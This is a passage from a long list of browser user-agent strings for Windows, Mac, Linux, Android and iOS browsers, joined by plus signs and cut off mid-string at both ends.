NT 5.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36 +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:39.0) Gecko/20100101 Firefox/39.0 +Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; yie10; rv:11.0) like Gecko +Mozilla/5.0 (Linux; Android 5.0; SAMSUNG-SM-G900A Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 +Mozilla/5.0 (Linux; U; Android 4.0.3; en-gb; KFTT Build/IML74K) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36 +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/8.0) +Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko +Mozilla/5.0 (X11; CrOS x86_64 7077.111.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36 +Mozilla/5.0 (Linux; Android 4.0.4; BNTV400 Build/IMM76L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.111 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; rv:37.0) Gecko/20100101 Firefox/37.0 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 LBBROWSER +Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0 +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.76 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.0; SAMSUNG SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36 +Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.104 AOL/9.8 AOLBuild/4346.18.US Safari/537.36 +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; GWX:QUALIFIED) +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.107 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; MDDCJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.104 AOL/9.8 AOLBuild/4346.13.US Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.94 AOL/9.7 AOLBuild/4343.4043.US Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:23.0) Gecko/20100101 Firefox/23.0 +Mozilla/5.0 (Windows NT 5.1; rv:38.0) Gecko/20100101 Firefox/38.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.13 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/44.0.2403.89 Chrome/44.0.2403.89 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 6_0_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A523 Safari/8536.25 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MANM; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.4.6.2000 Chrome/30.0.1599.101 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/8.0.57838 Mobile/12H143 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0 +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; MDDRJS) +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.22 Safari/537.36 +Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; MATBJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36 +Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:37.0) Gecko/20100101 Firefox/37.0 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.104 AOL/9.8 AOLBuild/4346.13.US Safari/537.36 +Mozilla/5.0 (Windows NT 5.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (X11; Linux x86_64; U; en-us) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 6946.86.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.91 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Trident/7.0; MDDRJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.104 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/8.0.57838 Mobile/12F69 Safari/600.1.4 +Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D201 Safari/9537.53 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; GIL 3.5; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:41.0) Gecko/20100101 Firefox/41.0 +Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; LG-V410/V41010d Build/KOT49I.V41010d) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.1599.103 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/537.75.14 +Mozilla/5.0 (iPhone; CPU iPhone OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B411 Safari/600.1.4 +Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; MATBJS; rv:11.0) like Gecko +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) Qt/4.8.1 Safari/534.34 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; USPortal; rv:11.0) like Gecko +Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12H143 +Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:40.0) Gecko/20100101 Firefox/40.0.2 Waterfox/40.0.2 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; SMJB; rv:11.0) like Gecko +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; CMDTDF; .NET4.0C; .NET4.0E) +Mozilla/5.0 (iPad; CPU OS 6_1_2 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B146 Safari/8536.25 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 +Mozilla/5.0 (MSIE 9.0; Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0 +Mozilla/5.0 (X11; FC Linux i686; rv:24.0) Gecko/20100101 Firefox/24.0 +Mozilla/5.0 (X11; CrOS armv7l 7262.52.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.86 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MASAJS; rv:11.0) like Gecko +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E) +Mozilla/5.0 (Windows NT 6.1; Trident/7.0; yie11; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10532 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; BOIE9;ENUSMSE; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.2; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0 +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3) +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0 +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3) +Mozilla/5.0 (Linux; Android 4.4.2; SM-T320 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/44.0.2403.67 Mobile/12H143 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36 +Mozilla/5.0 (iPhone; CPU iPhone OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/7.0.55539 Mobile/12H321 Safari/600.1.4 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; 360SE) +Mozilla/5.0 (Linux; Android 5.0.2; LG-V410/V41020c Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/34.0.1847.118 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) GSA/7.0.55539 Mobile/11D257 Safari/9537.53 +Mozilla/5.0 (iPad; CPU OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12F69 +Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.13 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36 +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) +Mozilla/5.0 (Linux; U; Android 4.4.3; en-us; KFTHWA Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36 +Mozilla/5.0 (Android; Mobile; rv:40.0) Gecko/40.0 Firefox/40.0 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 SE 2.X MetaSr 1.0 +Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.94 AOL/9.7 AOLBuild/4343.4043.US Safari/537.36 +Mozilla/5.0 (Linux; Android 4.4.2; SM-P600 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; rv:35.0) Gecko/20100101 Firefox/35.0 +Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25 +Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.22 Safari/537.36 +Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; 360SE) +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; LCJB; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 6812.88.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.153 Safari/537.36 +Mozilla/5.0 (X11; Linux i686; rv:38.0) Gecko/20100101 Firefox/38.0 +Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; ASU2JS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.13 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/537.16 (KHTML, like Gecko) Version/8.0 Safari/537.16 +Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0 +Mozilla/5.0 (Linux; Android 5.0; SAMSUNG SM-N900V 4G Build/LRX21V) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 +Mozilla/5.0 (Linux; Android 4.4.3; KFTHWI Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/44.1.81 like Chrome/44.0.2403.128 Safari/537.36 +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; CMDTDF; .NET4.0C; .NET4.0E; GWX:QUALIFIED) +Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) CriOS/45.0.2454.68 Mobile/11D257 Safari/9537.53 +Mozilla/5.0 (Windows NT 6.3; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.4.6.1000 Chrome/30.0.1599.101 Safari/537.36 +Mozilla/5.0 (Linux; Android 4.4.2; GT-P5210 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MDDSJS; rv:11.0) like Gecko +Mozilla/5.0 (Linux; Android 4.4.2; QTAQZ3 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Linux; Android 4.4.2; QMV7B Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MATBJS; rv:11.0) like Gecko +Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/6.0.51363 Mobile/12H321 Safari/600.1.4 +Mozilla/5.0 (iPad; CPU OS 8_1_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B436 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36 +Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 +Mozilla/5.0 (iPhone; CPU iPhone OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12H321 +Mozilla/5.0 (Linux; U; Android 4.0.3; en-ca; KFTT Build/IML74K) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36 +Mozilla/5.0 (Windows NT 5.1; rv:30.0) Gecko/20100101 Firefox/30.0 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:40.0) Gecko/20100101 Firefox/40.0.2 Waterfox/40.0.2 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:38.0) Gecko/20100101 Firefox/38.0 +Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; LCJB; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; NISSC; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9) AppleWebKit/537.71 (KHTML, like Gecko) Version/7.0 Safari/537.71 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Trident/7.0; MALC; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.0.9895 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MSBrowserIE; rv:11.0) like Gecko +Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SM-N910V 4G Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.76 Safari/537.36 +Mozilla/5.0 (Windows NT 6.2; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (Linux; Android 5.0.2; SAMSUNG SM-T530NU Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/3.2 Chrome/38.0.2125.102 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.89 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; LCJB; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.0; rv:39.0) Gecko/20100101 Firefox/39.0 +Mozilla/5.0 (Linux; Android 5.0.2; SM-T700 Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG-SM-N910A Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko +Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0 +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 +Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) +Mozilla/5.0 (X11; CrOS x86_64 7077.95.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.90 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.4.6.1000 Chrome/30.0.1599.101 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 LBBROWSER +Mozilla/5.0 (Windows NT 6.1; rv:36.0) Gecko/20100101 Firefox/36.0 +Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 +Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/7.0) +Mozilla/5.0 (iPad; CPU OS 8_1_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/45.0.2454.68 Mobile/12B466 Safari/600.1.4 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36 +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727) +Mozilla/5.0 (Linux; Android 5.0.2; VK810 4G Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.76.4 (KHTML, like Gecko) Version/7.0.4 Safari/537.76.4 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; SMJB; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; MDDCJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Trident/7.0; BOIE9;ENUS; rv:11.0) like Gecko +Mozilla/5.0 